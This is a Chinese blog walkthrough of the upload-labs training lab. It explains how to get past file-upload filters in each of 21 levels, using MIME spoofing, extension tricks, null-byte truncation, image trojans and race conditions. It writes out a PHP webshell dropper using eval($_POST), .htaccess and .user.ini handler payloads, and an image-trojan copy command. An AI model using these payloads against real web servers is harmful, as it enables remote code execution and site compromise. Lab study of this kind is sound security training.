当前位置: 首页 > article >正文

upload-labs通关详解

pass01

上传一个php文件提示不允许上传

所以我们在上传的时候抓个包,将后缀.php改成.jpg

 上传成功

用蚁剑测试,成功连接


pass02

先上传一个php文件,提示文件类型不正确

 能抓到数据包,证明不是前端JS校验,是服务端进行校验,网页源代码中也没有任何前段验证代码,所以这道题的类型为后端验证。

这里我们要做的事情就是修改Content-Type后面的数据,告诉服务器,这是一个图片文件,以达到欺骗服务器的目的 

放包,文件上传成功

复制图片链接用蚁剑连接


pass03

还是一样,我们先上传一个php文件,提示不允许上传.asp,.aspx,.php,.jsp后缀文件

看看源码,这里采用了黑名单进行限制

我们只需要避开这些黑名单中的后缀即可,比如我们使用.phtml,上传成功


pass04

由于上传的文件名未经过处理,这里使用.htaccess文件攻击

重要功能:可以指定某个⽂件当作php⽂件执⾏

上传一1.htaccess文件,文件内容如下

SetHandler application/x-httpd-php

上传1.png⽂件,成功解析 且能连接


pass05

上传一个.user.ini文件,内容如下

auto_prepend_file = "1.jpg"

 

再上传 包含木马文件的1.jpg,上传后访问与图片地址相同目录下的readme.php文件即可出发木马文件


pass06

先查看源码,发现没有对大小写进行过滤

将后缀改为.Php ,上传成功

成功连接


pass07

没有首位去空,空格绕过

抓包后后缀名后加空格

上传成功且能连接


pass08

没有去除末尾的点,填点绕过

上传成功且能连接


pass09

没有去除字符串$::DATA

抓包后文件末尾加 $::DATA,上传成功且能连接


pass10

这里黑名单严格、删除文件名末尾点、大小写转换为小写、去除::$DATA字符、首尾去空

上传php文件后抓包

用.空格.绕过

上传成功且能连接


pass11

通过str_ireplace()函数将黑名单中的文件后缀名进行了替换,换为空字符

我们双写后缀名绕过

上传成功且能连接


pass12

这里用了白名单进行限制,只允许上传jpg/png/gif文件格式,拼接的文件路径为随机数+时间+文件后缀。构造文件存储路径使用GET传入,导致服务器最终存储的文件名可控

 

%00绕过:⽂件上传%00绕过是指攻击者在⽂件上传时,在⽂件名后⾯添加%00字符,从⽽绕过服务器端的⽂件类型、拓展名以及⼤⼩限制,成功上传恶意⽂件到服务器端,从⽽进⾏攻击的⼀种技巧 

截断攻击,抓包上传将%00 ⾃动截断后面内容 例如 1.php%00 变成 1.php 


pass13

这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改.所以会产⽣安全漏洞;

POST 下直接注⼊%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成⽂件名;

将%00的hex码更改为00,然后上传 


pass14

制作图片⼀句话,直接上传即可

copy 2.jpg /b+123.php /a shell.jpg

上传制作好的图片马

复制地址蚁剑访问


pass15

攻击方法同上


pass16

使用exif_imagetype()函数来判断是否为图片文件

使用图片马绕过


pass17

二次渲染绕过,我们上传一个反二次渲染的图片,网站会对我们的图片进行二次渲染还原回来

复制图片地址直接蚁剑连接

 


 

pass18

查看网站源码,发现有tmp_name,临时目录,检测到不是jpg,png,gif会把我们上传的文化删掉

上传下方代码

<?php fputs(fopen('webshell.php' , 'w'), '<?php @eval($_POST["cmd"])?>');?>  

上传文件,burp抓包,发送到 intruder 模块,设置无限发送空的payloads,线程调高一点,设置选择无限重发上传,再通过burp重复上面的步骤利用攻击器无限访问访问我们上传的文件

 

pass19

方法同上


pass20

上传图片文件,并自定义保存文件名称

上传成功

 

上传php文件,定义文件名为php 

 

绕过方法:图片马+文件包含 

将图片马上传到站点

使用文件包含访问 并连接


pass21

方法同上

 

 


http://www.kler.cn/news/290538.html

相关文章:

  • C#指针(内存地址)IntPtr
  • Windows中Git对文件名大小写不敏感的问题解决方法
  • Unity数据持久化 之 二进制存储法
  • 设计模式之适配器模式:软件世界的桥梁建筑师
  • 【系统架构设计师-2019年】综合知识-答案及详解
  • ts 类型分类
  • 在安卓和Windows下使用Vizario H264 RTSP
  • 数据库系统 第28节 数据库迁移 案例分析
  • 2011年
  • pr瘦脸怎么操作?
  • css设置让整个盒子的内容渐变透明(非颜色渐变透明)
  • Fine3399或rk3399\sw799刷armbian创建热点
  • 精益工程师资格证书:2024年CLMP报名指南
  • sql-labs51-55通关攻略
  • 【Pandas】Pandas日常工作的常用操作大全
  • Go 语言版本管理——Goenv
  • 探索淘宝拍立淘API:解锁以图搜图的购物新体验
  • 浅谈C#事件
  • 在 Facebook 上投放广告需要多少钱?
  • Docker续6:容器网络
  • CentOS 部署 RocketMQ 详细指南
  • Multi-Mode DOA Estimation AND Relax Super Resolution DOA
  • C# 窗口页面布局
  • 深入探究 RocketMQ:分布式消息中间件的卓越之选》
  • 有没有性价比高一些的开放式耳机推荐?盘点四款高性价比蓝牙耳机
  • 智能代码编辑器:Visual Studio Code的深度剖析
  • C++:Opencv读取ONNX模型,通俗易懂
  • jmeter响应断言、json断言、断言持续时间、大小断言操作
  • 暴力破解和撞库攻击有什么区别,怎么防御暴力破解和撞库攻击
  • FPGA进阶教程16 同一块FPGA的两个网口实现arp自通信